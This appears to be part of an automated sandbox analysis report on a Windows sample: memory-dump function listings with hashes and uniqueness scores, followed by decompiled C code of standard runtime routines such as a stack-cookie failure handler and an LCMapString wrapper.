Opcode ID: e83de8560e58b085c17afb65a55cbed7b63ad04616787395fe46b0cded1c1bdf
Instruction ID: 0bfe528cfd396830230f3ba7cfe56360c45d509a7a6a7fb143dec6c2bbe1f750
Opcode Fuzzy Hash: e83de8560e58b085c17afb65a55cbed7b63ad04616787395fe46b0cded1c1bdf
Instruction Fuzzy Hash: C211B631E102188FCF54DBA9D454AEDBBF5EF8D304F048569E512BB260DB745948CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 0405D82B, Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.463160064.000000000405D000.00000040.00000001.sdmp, Offset: 0405D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b380385ec48af365bad7080056123947ad8117fc727ea828f1d77adfba04533d
Instruction ID: 2d2807de7ec8cb43edcc4825fd65070b9e197915d3f8181b9d2f6fc9ff891b06
Opcode Fuzzy Hash: b380385ec48af365bad7080056123947ad8117fc727ea828f1d77adfba04533d
Instruction Fuzzy Hash: A9216D76504280DFCB06CF50D984B16BFA2FF88314F24C6AADD485A666C33AE416CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06AF80D8, Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.483477589.0000000006AF0000.00000040.00000001.sdmp, Offset: 06AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81eaf7a2fd0d99fa926bfc84d64dcf1355bd4b20a58774ef077b0f4fcb8d193a
Instruction ID: f773458c3d43f6ea5235bebe3705e23e7ca57157e2c7fdc350568cdba5913147
Opcode Fuzzy Hash: 81eaf7a2fd0d99fa926bfc84d64dcf1355bd4b20a58774ef077b0f4fcb8d193a
Instruction Fuzzy Hash: B711E3303206149FCB89BB79C46486EB7EAFFC46487904528E9068B750CF34EC16CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 0405D4FB, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.463160064.000000000405D000.00000040.00000001.sdmp, Offset: 0405D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8728d728905f1550cf318db21f5636e919c51ef0e3d62679de3089cd3e7df454
Instruction ID: 049f90e3fe66fabfb4c50f1e281b0c7f144e9bbf22f1997f688ff4b54b92da45
Opcode Fuzzy Hash: 8728d728905f1550cf318db21f5636e919c51ef0e3d62679de3089cd3e7df454
Instruction Fuzzy Hash: AD11AF76504280CFDB11DF10D5C4B16BFA2FF84324F24C6AADC055B666C336E55ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 06AFFD90, Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.483477589.0000000006AF0000.00000040.00000001.sdmp, Offset: 06AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 994e4d63a450e0061447de4412b5f59d2fd746cc2c3dd8949ad0950a09de8121
Instruction ID: 591d4144045c4d613e484508fc1edf2106d50867fbd9e2b0762a2b94ff6c12bb
Opcode Fuzzy Hash: 994e4d63a450e0061447de4412b5f59d2fd746cc2c3dd8949ad0950a09de8121
Instruction Fuzzy Hash: 7A115A353006149FC359BB74D45882AB7A7FF89221311453CEA1B87740CF35AC42DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0406D49F, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.463252432.000000000406D000.00000040.00000001.sdmp, Offset: 0406D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce1cbf7232d3e277e403deb1e2585831f0001fa9f37ef38e9ac926aa744830d1
Instruction ID: a629d04fbf332aa0b1ab54aa7a02bf9c07145644d08e9b91f4e76c996376e4ee
Opcode Fuzzy Hash: ce1cbf7232d3e277e403deb1e2585831f0001fa9f37ef38e9ac926aa744830d1
Instruction Fuzzy Hash: 7811D075A04280CFCB01DF14D5C4B15BFA2FF84318F24C6A9D84A4B656C33AE44ACB51

Uniqueness

Uniqueness Score: -1.00%

Function 0406D2EF, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.463252432.000000000406D000.00000040.00000001.sdmp, Offset: 0406D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9907bde0cceb3a64a7eb972964870bb0cb25b258c15e3eb1b97cc003890f788b
Instruction ID: bf2b35bcb5831324eda594be678455c4728eef3da15a52c6539f5897b140168e
Opcode Fuzzy Hash: 9907bde0cceb3a64a7eb972964870bb0cb25b258c15e3eb1b97cc003890f788b
Instruction Fuzzy Hash: FA118F75604280DFDB11CF14D5C4B19FFA1FF84324F28C6AAD84A5B656C33AE44ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 06AFD380, Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.483477589.0000000006AF0000.00000040.00000001.sdmp, Offset: 06AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68614e274d0c6a75f6c2cd1eb428d10c8a37114315382414e220de91b73ea31e
Instruction ID: 8d8fb40efba99bdacf91b0a8a641327e4ec1d5f62e69635934de42485a47900e
Opcode Fuzzy Hash: 68614e274d0c6a75f6c2cd1eb428d10c8a37114315382414e220de91b73ea31e
Instruction Fuzzy Hash: 14111571200208CFD726EF66D448A5ABBA6FF85761B008469FA4A8F390C732EC41CF60

Uniqueness

Uniqueness Score: -1.00%

Function 06AF47D0, Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.483477589.0000000006AF0000.00000040.00000001.sdmp, Offset: 06AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d93aeaa6c7bdea5b85214ffc2ad0e0e22270dc8d30eded28c7dfec1b7b428e19
Instruction ID: c5bed449ea8970a5c9b06ff13748c2f15ae0e4565c46dc31cf4332e66afe6986
Opcode Fuzzy Hash: d93aeaa6c7bdea5b85214ffc2ad0e0e22270dc8d30eded28c7dfec1b7b428e19
Instruction Fuzzy Hash: 1C0124317002045FD721BBB5A814ABF3FA7DFC5115F144568E6059B281DE30EC06C7E2

Uniqueness

Uniqueness Score: -1.00%

Function 06AFAF48, Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.483477589.0000000006AF0000.00000040.00000001.sdmp, Offset: 06AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ac7c325a4c9270ba8b8badd0a8a99a7ee66e06f5ab752f110b3b764abd22fab
Instruction ID: 3d6aa1eee3993dec83d76d08b3a9938d80e753e307d8a13b099ac2c511776884
Opcode Fuzzy Hash: 7ac7c325a4c9270ba8b8badd0a8a99a7ee66e06f5ab752f110b3b764abd22fab
Instruction Fuzzy Hash: 1501A970A14205CFC745EFB4D8285AA7BFAEF85204B1444AAE94ACB241EF349C04DB52

Uniqueness

Uniqueness Score: -1.00%

Function 06AF9DC0, Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.483477589.0000000006AF0000.00000040.00000001.sdmp, Offset: 06AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c67efea273cd0b04e63bdf9a5eb240162bccf8c9260cd6a240c4b0566158c072
Instruction ID: c33e6fdaa2b6f09d0a364edfc878cd9ef0cb0b89500338230b9ad8b33a654440
Opcode Fuzzy Hash: c67efea273cd0b04e63bdf9a5eb240162bccf8c9260cd6a240c4b0566158c072
Instruction Fuzzy Hash: AF018F757002186F9754BB58E854B7E7BDAEB88260B144019FE0AC7340DE30ED028795

Uniqueness

Uniqueness Score: -1.00%

Function 0405D01D, Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.463160064.000000000405D000.00000040.00000001.sdmp, Offset: 0405D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f08b771513a79b3841e9e131b6937ea7dd134882019a0c258f64eb002fedafdc
Instruction ID: 5fb6a4ed4076b837bdbacc413d975c3df05144b80d9746cfdf7395e5f30fe920
Opcode Fuzzy Hash: f08b771513a79b3841e9e131b6937ea7dd134882019a0c258f64eb002fedafdc
Instruction Fuzzy Hash: CA01F7705083509AE7104E22ECC4BA7BBD8EF41228F08D41BED042B292D379B805CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 06AFA8B0, Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.483477589.0000000006AF0000.00000040.00000001.sdmp, Offset: 06AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b65511de2a16009077dfd79ec01c13b232a93304e1a227d93b6011f0c4f99dd
Instruction ID: eddab45239eb1a0515dc35bafa212ce5bbad56b4f4856e29da35e9f29713fc50
Opcode Fuzzy Hash: 3b65511de2a16009077dfd79ec01c13b232a93304e1a227d93b6011f0c4f99dd
Instruction Fuzzy Hash: 4E01A231B101149F8B14ABB9D8149EEBBF9EFC9256B00817AEA1AD7340EB30DD018BD1

Uniqueness

Uniqueness Score: -1.00%

Function 0405D006, Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.463160064.000000000405D000.00000040.00000001.sdmp, Offset: 0405D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc0523ebaf491fca31be222201ebd15421ac9b5dc72c8600fc4852ce2557effc
Instruction ID: becf101c513c1faa0c1497d3abc08bd1263a3673b799c2088804977d6889ecdd
Opcode Fuzzy Hash: fc0523ebaf491fca31be222201ebd15421ac9b5dc72c8600fc4852ce2557effc
Instruction Fuzzy Hash: 0601526140D3C09FE7124B219C94B52BFB4EF43224F09C0DBD9849F2A3C2799849C772

Uniqueness

Uniqueness Score: -1.00%

Function 06AF9307, Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.483477589.0000000006AF0000.00000040.00000001.sdmp, Offset: 06AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fe896fc138863e8835382198971ee15a5fce876e4a7872ca90b569c7548078c
Instruction ID: 511b3ee6936217541413b3dfb1dec0ffe6c94c36aa55c7a9bd3224076fa5a841
Opcode Fuzzy Hash: 8fe896fc138863e8835382198971ee15a5fce876e4a7872ca90b569c7548078c
Instruction Fuzzy Hash: EF0121303107108BC7559BB5E0282AA7BEAFBC8214B04492AE80EC7741DF34DC0ADB91

Uniqueness

Uniqueness Score: -1.00%

Function 06AFD307, Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.483477589.0000000006AF0000.00000040.00000001.sdmp, Offset: 06AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a414437571055dac41ebe6d21c15470163eb6c2e23640cdfc243bb77598d4167
Instruction ID: e7a4544d31f2f9806d2cc237a4597a86de29963475fad0f9833d58c3bcf5c98a
Opcode Fuzzy Hash: a414437571055dac41ebe6d21c15470163eb6c2e23640cdfc243bb77598d4167
Instruction Fuzzy Hash: 7A0186B2F101589FDB55EF989C04BFEBBF6AFC8211F048066E215D7140D77455158FA1

Uniqueness

Uniqueness Score: -1.00%

Function 06AF4860, Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.483477589.0000000006AF0000.00000040.00000001.sdmp, Offset: 06AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db8c6a1dcfca8a4ee2a66f6e3515cd8f9cef49618344b69507e94e9ba87a3a96
Instruction ID: 357eebaf1d65a4f586d36eec416b2acf7438bd0d5b03c732d83f73c9477eea3a
Opcode Fuzzy Hash: db8c6a1dcfca8a4ee2a66f6e3515cd8f9cef49618344b69507e94e9ba87a3a96
Instruction Fuzzy Hash: 18F09632B242585BE35577B09C29BBA3799FF88715F04006AB7069B2C1DE65AC04D7D2

Uniqueness

Uniqueness Score: -1.00%

Function 06AFD0F8, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.483477589.0000000006AF0000.00000040.00000001.sdmp, Offset: 06AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 988a6a23fe8d8198288d81d630af4500f0aeb997618d57928ca65ba069b8ad97
Instruction ID: c5157d64af4e45981453dedf10520db79465f3e050035112a66f9bb6c017c2c7
Opcode Fuzzy Hash: 988a6a23fe8d8198288d81d630af4500f0aeb997618d57928ca65ba069b8ad97
Instruction Fuzzy Hash: 80F0FE32300118AB9715AB5AE88499ABBAEFFD9261B948026F609C7310CB759C46C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 06AF64A1, Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.483477589.0000000006AF0000.00000040.00000001.sdmp, Offset: 06AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af8d9833ad9b7e1f237cfd32e2af485cbc181444ceb8034439b4df28ea605af6
Instruction ID: 2fdadc046af94a713115b43ee74d84ffaeaf81f7d1901bdfee9487e3b2850ed9
Opcode Fuzzy Hash: af8d9833ad9b7e1f237cfd32e2af485cbc181444ceb8034439b4df28ea605af6
Instruction Fuzzy Hash: D2F027302053545FC3616B21E858EDA3F6DEF41211701005AF006CB161CA60DD42C7E5

Uniqueness

Uniqueness Score: -1.00%

Function 06AF6632, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.483477589.0000000006AF0000.00000040.00000001.sdmp, Offset: 06AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc4de52cafaf44b09a8d812ff3a9844b3228361d5f365a3eca3d8162e7a65242
Instruction ID: ebc7b4e27cbac2284820d1f092d334d81f602011126a660fb943d666eb4081e0
Opcode Fuzzy Hash: bc4de52cafaf44b09a8d812ff3a9844b3228361d5f365a3eca3d8162e7a65242
Instruction Fuzzy Hash: E5E0C0300063588BC7597754D9005E37F30DF02244F08008EF5884F583C3305A10C7D2

Uniqueness

Uniqueness Score: -1.00%

Function 06AF8E10, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.483477589.0000000006AF0000.00000040.00000001.sdmp, Offset: 06AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8cd58584acdb5e77d0ae19d275e6ed96be2916ed734b4168bddbe7958bc6f5d
Instruction ID: ac3e2fcb8226421727e75effa5cf111129512c99eb5ed08b735b9951272d4169
Opcode Fuzzy Hash: f8cd58584acdb5e77d0ae19d275e6ed96be2916ed734b4168bddbe7958bc6f5d
Instruction Fuzzy Hash: 4BD0C212B752640A47D032F52C001A5379D49820A470500F6FE58D2442E51DCC541783

Uniqueness

Uniqueness Score: -1.00%

Function 06AFCB01, Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.483477589.0000000006AF0000.00000040.00000001.sdmp, Offset: 06AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51a7fadc1966bcbb712bc17852a5705edbaf85b9ab44e8c2a9d6a01bcbd8e1d7
Instruction ID: 9795367ea2f99d7db9e80b3212c2d057d6b870f700556fe0d27624c86c4df8cf
Opcode Fuzzy Hash: 51a7fadc1966bcbb712bc17852a5705edbaf85b9ab44e8c2a9d6a01bcbd8e1d7
Instruction Fuzzy Hash: 20D0123330460D9F5B45A794F4445BEF7E7FBC8179358452DD58AD2201CF36A8078B10

Uniqueness

Uniqueness Score: -1.00%

Function 06AF5260, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.483477589.0000000006AF0000.00000040.00000001.sdmp, Offset: 06AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19b85b1737594a90ab2ade37f906c42ad4172b9b2605d0816e0e70b95fa3736b
Instruction ID: 1e90807063f3bbcdc04979983990e97a9e10a8c6dea051b894c5966cda3ccd86
Opcode Fuzzy Hash: 19b85b1737594a90ab2ade37f906c42ad4172b9b2605d0816e0e70b95fa3736b
Instruction Fuzzy Hash: 3CD0A7343002208FC2009718E418EA677EDFB49621B014096F905C7360CAB1EC008BC0

Uniqueness

Uniqueness Score: -1.00%

Function 06AF4230, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.483477589.0000000006AF0000.00000040.00000001.sdmp, Offset: 06AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f96abcc8a06473a4bab3c849c51a6086a78ffb119402fbc2ff31b7484376708
Instruction ID: 520f160115effa8c4ba7de48b522d8bace6f17acc3deb3bff439eef8698d166b
Opcode Fuzzy Hash: 7f96abcc8a06473a4bab3c849c51a6086a78ffb119402fbc2ff31b7484376708
Instruction Fuzzy Hash: 35C02B4E9010444BE10560100C2C7C01B07DA320887880342E801D2352600E98075430

Uniqueness

Uniqueness Score: -1.00%

Function 06AF8D10, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.483477589.0000000006AF0000.00000040.00000001.sdmp, Offset: 06AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 363ae5da8b8853e45c91655f99898f3ede907ffe44715a19a06d9410bbbf24f1
Instruction ID: e94a41b25ab0808f5b0ffc7cfe6b7fe612d8bd72ad81a0c26066b60df800db75
Opcode Fuzzy Hash: 363ae5da8b8853e45c91655f99898f3ede907ffe44715a19a06d9410bbbf24f1
Instruction Fuzzy Hash: FBC0921181E3E48FCF87AF201E281D93F71AC1358872E10C6E5C596163CB141B47C772

Uniqueness

Uniqueness Score: -1.00%

Function 06AFFF5C, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.483477589.0000000006AF0000.00000040.00000001.sdmp, Offset: 06AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6906f166017e0df57b20cfc27a3967fd1e75de65584ef865c140a8663af96537
Instruction ID: 9e9fd410177f07c1dc5c79c90a62735af71311232f14a59721a5523cedfb013b
Opcode Fuzzy Hash: 6906f166017e0df57b20cfc27a3967fd1e75de65584ef865c140a8663af96537
Instruction Fuzzy Hash: BBB012305105844FCE04D720C30C0207F16DB4720A30440DCC0475B233C6934C02CF40

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040CE09, Relevance: 7.6, APIs: 5, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0040CE09(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x422234; // 0xe21cc99b
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x423b98 = _t6;
				 *0x423b94 = _t22;
				 *0x423b90 = _t25;
				 *0x423b8c = _t21;
				 *0x423b88 = _t27;
				 *0x423b84 = _t26;
				 *0x423bb0 = ss;
				 *0x423ba4 = cs;
				 *0x423b80 = ds;
				 *0x423b7c = es;
				 *0x423b78 = fs;
				 *0x423b74 = gs;
				asm("pushfd");
				_pop( *0x423ba8);
				 *0x423b9c =  *_t31;
				 *0x423ba0 = _v0;
				 *0x423bac =  &_a4;
				 *0x423ae8 = 0x10001;
				_t11 =  *0x423ba0; // 0x0
				 *0x423a9c = _t11;
				 *0x423a90 = 0xc0000409;
				 *0x423a94 = 1;
				_t12 =  *0x422234; // 0xe21cc99b
				_v812 = _t12;
				_t13 =  *0x422238; // 0x1de33664
				_v808 = _t13;
				 *0x423ae0 = IsDebuggerPresent();
				_push(1);
				E004138FC(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x41fb80);
				if( *0x423ae0 == 0) {
					_push(1);
					E004138FC(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce0f
0x0040ce11
0x0040ce11
0x00413644
0x00413649
0x0041364f
0x00413655
0x0041365b
0x00413661
0x00413667
0x0041366e
0x00413675
0x0041367c
0x00413683
0x0041368a
0x00413691
0x00413692
0x0041369b
0x004136a3
0x004136ab
0x004136b6
0x004136c0
0x004136c5
0x004136ca
0x004136d4
0x004136de
0x004136e3
0x004136e9
0x004136ee
0x004136fa
0x004136ff
0x00413701
0x00413709
0x00413714
0x00413721
0x00413723
0x00413725
0x0041372a
0x0041373e

APIs

IsDebuggerPresent.KERNEL32 ref: 004136F4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00413709
UnhandledExceptionFilter.KERNEL32(0041FB80), ref: 00413714
GetCurrentProcess.KERNEL32(C0000409), ref: 00413730
TerminateProcess.KERNEL32(00000000), ref: 00413737

Memory Dump Source

Source File: 00000015.00000002.459776100.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.460379750.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000015.00000002.460392013.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction ID: 93bf0ba95bc2a0faef8203f21c221f33afe887fd41373e09ae0fa508b254143b
Opcode Fuzzy Hash: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction Fuzzy Hash: A521C3B4601204EFD720DF65E94A6457FB4FB08356F80407AE50887772E7B86682CF4D

Uniqueness

Uniqueness Score: -1.00%

Function 0040ADB0, Relevance: 2.5, APIs: 2, Instructions: 23
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ADB0(intOrPtr* __ecx) {
				void* _t5;
				intOrPtr* _t11;

				_t11 = __ecx;
				_t5 =  *(__ecx + 8);
				 *__ecx = 0x41eff0;
				if(_t5 != 0) {
					_t5 =  *((intOrPtr*)( *((intOrPtr*)( *_t5 + 8))))(_t5);
				}
				if( *(_t11 + 0xc) != 0) {
					_t5 = GetProcessHeap();
					if(_t5 != 0) {
						return HeapFree(_t5, 0,  *(_t11 + 0xc));
					}
				}
				return _t5;
			}

0x0040adb3
0x0040adb5
0x0040adb8
0x0040adc0
0x0040adc8
0x0040adc8
0x0040adce
0x0040add0
0x0040add8
0x00000000
0x0040ade1
0x0040add8
0x0040ade8

APIs

GetProcessHeap.KERNEL32 ref: 0040ADD0
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0040ADE1

Memory Dump Source

Source File: 00000015.00000002.459776100.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.460379750.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000015.00000002.460392013.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction ID: 72dd180cd7110ee49b406fd12918c6a771032a3efea8c67e715e4993f3fed615
Opcode Fuzzy Hash: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction Fuzzy Hash: 54E09A312003009FC320AB61DC08FA337AAEF88311F04C829E55A936A0DB78EC42CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00417081, Relevance: 31.8, APIs: 21, Instructions: 340
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00417081(short* __ecx, int _a4, signed int _a8, char* _a12, int _a16, char* _a20, int _a24, int _a28, intOrPtr _a32) {
				signed int _v8;
				int _v12;
				int _v16;
				int _v20;
				intOrPtr _v24;
				void* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t110;
				intOrPtr _t112;
				intOrPtr _t113;
				short* _t115;
				short* _t116;
				char* _t120;
				short* _t121;
				short* _t123;
				short* _t127;
				int _t128;
				short* _t141;
				signed int _t144;
				void* _t146;
				short* _t147;
				signed int _t150;
				short* _t153;
				char* _t157;
				int _t160;
				long _t162;
				signed int _t174;
				signed int _t178;
				signed int _t179;
				int _t182;
				short* _t184;
				signed int _t186;
				signed int _t188;
				short* _t189;
				int _t191;
				intOrPtr _t194;
				int _t207;

				_t110 =  *0x422234; // 0xe21cc99b
				_v8 = _t110 ^ _t188;
				_t184 = __ecx;
				_t194 =  *0x423e7c; // 0x1
				if(_t194 == 0) {
					_t182 = 1;
					if(LCMapStringW(0, 0x100, 0x420398, 1, 0, 0) == 0) {
						_t162 = GetLastError();
						__eflags = _t162 - 0x78;
						if(_t162 == 0x78) {
							 *0x423e7c = 2;
						}
					} else {
						 *0x423e7c = 1;
					}
				}
				if(_a16 <= 0) {
					L13:
					_t112 =  *0x423e7c; // 0x1
					if(_t112 == 2 || _t112 == 0) {
						_v16 = 0;
						_v20 = 0;
						__eflags = _a4;
						if(_a4 == 0) {
							_a4 =  *((intOrPtr*)( *_t184 + 0x14));
						}
						__eflags = _a28;
						if(_a28 == 0) {
							_a28 =  *((intOrPtr*)( *_t184 + 4));
						}
						_t113 = E00417A20(0, _t179, _t182, _t184, _a4);
						_v24 = _t113;
						__eflags = _t113 - 0xffffffff;
						if(_t113 != 0xffffffff) {
							__eflags = _t113 - _a28;
							if(_t113 == _a28) {
								_t184 = LCMapStringA(_a4, _a8, _a12, _a16, _a20, _a24);
								L78:
								__eflags = _v16;
								if(__eflags != 0) {
									_push(_v16);
									E0040B6B5(0, _t182, _t184, __eflags);
								}
								_t115 = _v20;
								__eflags = _t115;
								if(_t115 != 0) {
									__eflags = _a20 - _t115;
									if(__eflags != 0) {
										_push(_t115);
										E0040B6B5(0, _t182, _t184, __eflags);
									}
								}
								_t116 = _t184;
								goto L84;
							}
							_t120 = E00417A69(_t179, _a28, _t113, _a12,  &_a16, 0, 0);
							_t191 =  &(_t189[0xc]);
							_v16 = _t120;
							__eflags = _t120;
							if(_t120 == 0) {
								goto L58;
							}
							_t121 = LCMapStringA(_a4, _a8, _t120, _a16, 0, 0);
							_v12 = _t121;
							__eflags = _t121;
							if(__eflags != 0) {
								if(__eflags <= 0) {
									L71:
									_t182 = 0;
									__eflags = 0;
									L72:
									__eflags = _t182;
									if(_t182 == 0) {
										goto L62;
									}
									E0040BA30(_t182, _t182, 0, _v12);
									_t123 = LCMapStringA(_a4, _a8, _v16, _a16, _t182, _v12);
									_v12 = _t123;
									__eflags = _t123;
									if(_t123 != 0) {
										_t186 = E00417A69(_t179, _v24, _a28, _t182,  &_v12, _a20, _a24);
										_v20 = _t186;
										asm("sbb esi, esi");
										_t184 =  ~_t186 & _v12;
										__eflags = _t184;
									} else {
										_t184 = 0;
									}
									E004147AE(_t182);
									goto L78;
								}
								__eflags = _t121 - 0xffffffe0;
								if(_t121 > 0xffffffe0) {
									goto L71;
								}
								_t127 =  &(_t121[4]);
								__eflags = _t127 - 0x400;
								if(_t127 > 0x400) {
									_t128 = E0040B84D(0, _t179, _t182, _t127);
									__eflags = _t128;
									if(_t128 != 0) {
										 *_t128 = 0xdddd;
										_t128 = _t128 + 8;
										__eflags = _t128;
									}
									_t182 = _t128;
									goto L72;
								}
								E0040CFB0(_t127);
								_t182 = _t191;
								__eflags = _t182;
								if(_t182 == 0) {
									goto L62;
								}
								 *_t182 = 0xcccc;
								_t182 = _t182 + 8;
								goto L72;
							}
							L62:
							_t184 = 0;
							goto L78;
						} else {
							goto L58;
						}
					} else {
						if(_t112 != 1) {
							L58:
							_t116 = 0;
							L84:
							return E0040CE09(_t116, 0, _v8 ^ _t188, _t179, _t182, _t184);
						}
						_v12 = 0;
						if(_a28 == 0) {
							_a28 =  *((intOrPtr*)( *_t184 + 4));
						}
						_t184 = MultiByteToWideChar;
						_t182 = MultiByteToWideChar(_a28, 1 + (0 | _a32 != 0x00000000) * 8, _a12, _a16, 0, 0);
						_t207 = _t182;
						if(_t207 == 0) {
							goto L58;
						} else {
							if(_t207 <= 0) {
								L28:
								_v16 = 0;
								L29:
								if(_v16 == 0) {
									goto L58;
								}
								if(MultiByteToWideChar(_a28, 1, _a12, _a16, _v16, _t182) == 0) {
									L52:
									E004147AE(_v16);
									_t116 = _v12;
									goto L84;
								}
								_t184 = LCMapStringW;
								_t174 = LCMapStringW(_a4, _a8, _v16, _t182, 0, 0);
								_v12 = _t174;
								if(_t174 == 0) {
									goto L52;
								}
								if((_a8 & 0x00000400) == 0) {
									__eflags = _t174;
									if(_t174 <= 0) {
										L44:
										_t184 = 0;
										__eflags = 0;
										L45:
										__eflags = _t184;
										if(_t184 != 0) {
											_t141 = LCMapStringW(_a4, _a8, _v16, _t182, _t184, _v12);
											__eflags = _t141;
											if(_t141 != 0) {
												_push(0);
												_push(0);
												__eflags = _a24;
												if(_a24 != 0) {
													_push(_a24);
													_push(_a20);
												} else {
													_push(0);
													_push(0);
												}
